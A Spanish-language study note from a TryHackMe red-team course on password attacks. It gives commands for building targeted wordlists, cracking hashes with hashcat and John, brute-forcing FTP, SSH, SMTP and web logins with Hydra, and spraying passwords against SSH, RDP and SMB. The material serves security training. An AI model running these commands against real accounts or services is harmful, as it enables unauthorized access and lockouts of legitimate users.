Red Team

Ataques a contraseñas

#auth#blueteam#endpoint#enumeration#network#redteam

Los ataques de contraseña son técnicas para descubrir credenciales válidas, bien offline (sobre hashes obtenidos de un sistema comprometido) o online (contra servicios de red en tiempo…

Definición

Los ataques de contraseña son técnicas para descubrir credenciales válidas, bien offline (sobre hashes obtenidos de un sistema comprometido) o online (contra servicios de red en tiempo real). Son fundamentales en fases de acceso inicial y movimiento lateral en un red team engagement.

Contexto

  • Una contraseña segura debe tener ≥8 caracteres, mezcla de mayúsculas, minúsculas, números y símbolos, y no debe aparecer en diccionarios públicos.
  • Los ataques online generan logs y pueden bloquear cuentas; los offline son más silenciosos pero requieren acceso previo a los hashes.
  • Esta nota es parte del Red Team Path (TryHackMe).

Tipos de ataques

Tipo Descripción Herramientas
Dictionary Prueba palabras de un wordlist hashcat, John
Brute-force Prueba todas las combinaciones posibles hashcat, John
Rule-based (Hybrid) Aplica mutaciones a un wordlist John the Ripper
Password Spraying Una contraseña contra muchos usuarios Hydra, RDPassSpray
Guessing Contraseñas por defecto o contextuales Manual, listas

Generación de Wordlists (Password Profiling)

Contraseñas por defecto

Muchos dispositivos (routers, switches, Tomcat, etc.) tienen contraseñas de fábrica. Probar primero antes de ataques complejos.

Recursos:

Wordlists conocidas

Combinar y limpiar wordlists

Terminal window
# Combinar múltiples listas
cat file1.txt file2.txt file3.txt > combined_list.txt
# Eliminar duplicados
sort combined_list.txt | uniq -u > cleaned_combined_list.txt

CeWL — Wordlist personalizada desde sitio web

CeWL crawlea un sitio web y extrae palabras/keywords relevantes para el target.

Terminal window
cewl -w list.txt -d 5 -m 5 http://thm.labs
# -w → archivo de salida
# -m 5 → mínimo 5 caracteres
# -d 5 → profundidad de crawling (default 2)
# Ejemplo real (mínimo 8 chars)
cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/

username_generator — Generar variantes de usuario

Terminal window
git clone https://github.com/therodri2/username_generator.git
echo "John Smith" > users.lst
python3 username_generator.py -w users.lst
# → john, smith, j.smith, j-smith, jsmith, smithjohn, ...

Técnica de Keyspace — crunch

crunch genera wordlists exhaustivas basadas en longitud y charset.

Terminal window
# Todas las combinaciones de 2 chars con 0-4 y a-d
crunch 2 2 01234abcd -o crunch.txt
# Contraseña que empieza con "pass" y termina con 2 dígitos
crunch 6 6 -t pass%%
# → pass00, pass01, ..., pass99
# Wildcards:
# @ = minúsculas , = mayúsculas % = dígitos ^ = especiales+espacio

⚠️ crunch 8 8 0123456789abcdefABCDEF genera ~459 GB y 54.8B palabras.


CUPP — Common User Passwords Profiler

CUPP genera wordlists personalizadas basadas en información del target (nombre, fechas, mascotas, empresa…). Soporta modo leet (a→4, i→1, etc.).

Terminal window
git clone https://github.com/Mebus/cupp.git
python3 cupp.py -i # modo interactivo (introduce datos del target)
python3 cupp.py -l # descargar wordlists por idioma/categoría
python3 cupp.py -a # contraseñas/usuarios por defecto de Alecto DB

Ataques Offline

Dictionary Attack con hashcat

Terminal window
# Identificar tipo de hash primero: hashid o hash-identifier
hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt
# -a 0 = modo diccionario
# -m 0 = MD5 (ver hashcat -h para todos los tipos)
# Ver contraseña crackeada
hashcat -a 0 -m 0 <hash> /usr/share/wordlists/rockyou.txt --show

Brute-Force Attack con hashcat

Terminal window
# Charsets disponibles: ?l=minús ?u=mayús ?d=dígitos ?s=especiales ?a=todos
hashcat -a 3 ?d?d?d?d --stdout # generar 4 dígitos
hashcat -a 3 -m 0 <MD5_hash> ?d?d?d?d # crackear PIN de 4 dígitos
# -a 3 = modo brute-force

Rule-Based Attack con John the Ripper

Las reglas aplican transformaciones (capitalizar, añadir números, sustituir letras por símbolos) a un wordlist.

Terminal window
# Listar reglas disponibles
cat /etc/john/john.conf | grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF
# Aplicar regla best64 a un wordlist (expande 1 → 76 palabras)
john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
# KoreLogic — regla avanzada (genera variantes complejas)
john --wordlist=single-password-list.txt --rules=KoreLogic --stdout | grep "Tryh@ckm3"

Crear regla personalizada en /etc/john/john.conf:

[List.Rules:THM-Password-Attacks]
Az"[0-9]" ^[!@#$]
# Az = toma cada palabra del wordlist
# "[0-9]" = añade dígito al final
# ^[!@#$] = añade símbolo especial al inicio
Terminal window
echo "password" > /tmp/single.lst
john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout
# → !password0, @password0, #password0, $password0

Ataques Online con Hydra

Ver THC Hydra para referencia completa. Ejemplos del módulo TryHackMe:

Terminal window
# FTP
hydra -l ftp -P passlist.txt ftp://10.10.x.x
# SMTP
hydra -l email@company.xyz -P /path/wordlist.txt smtp://10.10.x.x -v
# SSH
hydra -L users.lst -P /path/wordlist.txt ssh://10.10.x.x -v
# HTTP-GET form
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x \
http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
# HTTP-POST form (similar, cambiar a http-post-form)
# S=<texto_en_pagina_exitosa> F=<texto_en_pagina_fallida>

Password Spraying

Spraying: una contraseña común contra muchos usuarios → evita bloqueos por intentos fallidos por cuenta.

Contraseñas comunes por patrón:

  • Fall2020, Spring2021 (temporada+año)
  • November2020, March2021 (mes+año)
  • TryHackMe01, TryHackMe02 (empresa+número)
  • Con símbolo: October2021!, Spring2021@

SSH Spraying con Hydra

Terminal window
hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10

RDP Spraying con RDPassSpray

Terminal window
# Un usuario, una contraseña
python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026
# Lista de usuarios, una contraseña, dominio AD
python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt

OWA / Exchange Spraying

SMB Spraying

Metasploit: auxiliary/scanner/smb/smb_login

Pitfalls / Errores comunes

  • Iniciar brute-force sin probar contraseñas por defecto primero.
  • Generar wordlists enormes sin filtrar por política de contraseñas del target (longitud mínima, caracteres obligatorios).
  • Ejecutar spraying sin throttling → bloqueo de cuentas y alertas SOC.
  • Confundir -l (usuario único) con -L (lista de usuarios) en Hydra.
  • Usar hashcat con -m 0 para hashes que no son MD5 → identificar el tipo primero con hash-identifier.

Integración con otras notas

  • Herramienta de ataques online: THC Hydra
  • Contexto Red Team: Red Team Fundamentals, Red Team Engagement Planning
  • Técnica de phishing para obtener credenciales: Phishing (THM)
  • Gestión de sesiones y autenticación: Gestion de sesiones (Session Management), Autenticacion multifactor (MFA)
  • MITRE: T1110 (Brute Force), T1078 (Valid Accounts)

Diagrama

flowchart TD
    A[Objetivo: Credenciales válidas] --> B{Modo}
    B --> C[Offline: hashes obtenidos]
    B --> D[Online: servicios de red]
    C --> E[hashcat dictionary]
    C --> F[hashcat brute-force]
    C --> G[John rule-based]
    D --> H[Hydra: FTP/SSH/SMTP/HTTP]
    D --> I[Spraying: RDP/OWA/SMB]
    E & F & G --> J[Contraseña en claro]
    H & I --> J
    J --> K[Acceso + movimiento lateral]

Referencias

  1. TryHackMe — Password Attacks: https://tryhackme.com/room/passwordattacks
  2. SecLists (GitHub): https://github.com/danielmiessler/SecLists
  3. CUPP (GitHub): https://github.com/Mebus/cupp
  4. Username Generator (GitHub): https://github.com/therodri2/username_generator
  5. THC Hydra (GitHub): https://github.com/vanhauser-thc/thc-hydra
  6. RDPassSpray (GitHub): https://github.com/xFreed0m/RDPassSpray
  7. KoreLogic Rules: https://contest-2010.korelogic.com/rules.html
  8. MITRE T1110 (Brute Force): https://attack.mitre.org/techniques/T1110/
Título original en mis apuntes: Password Attacks (THM)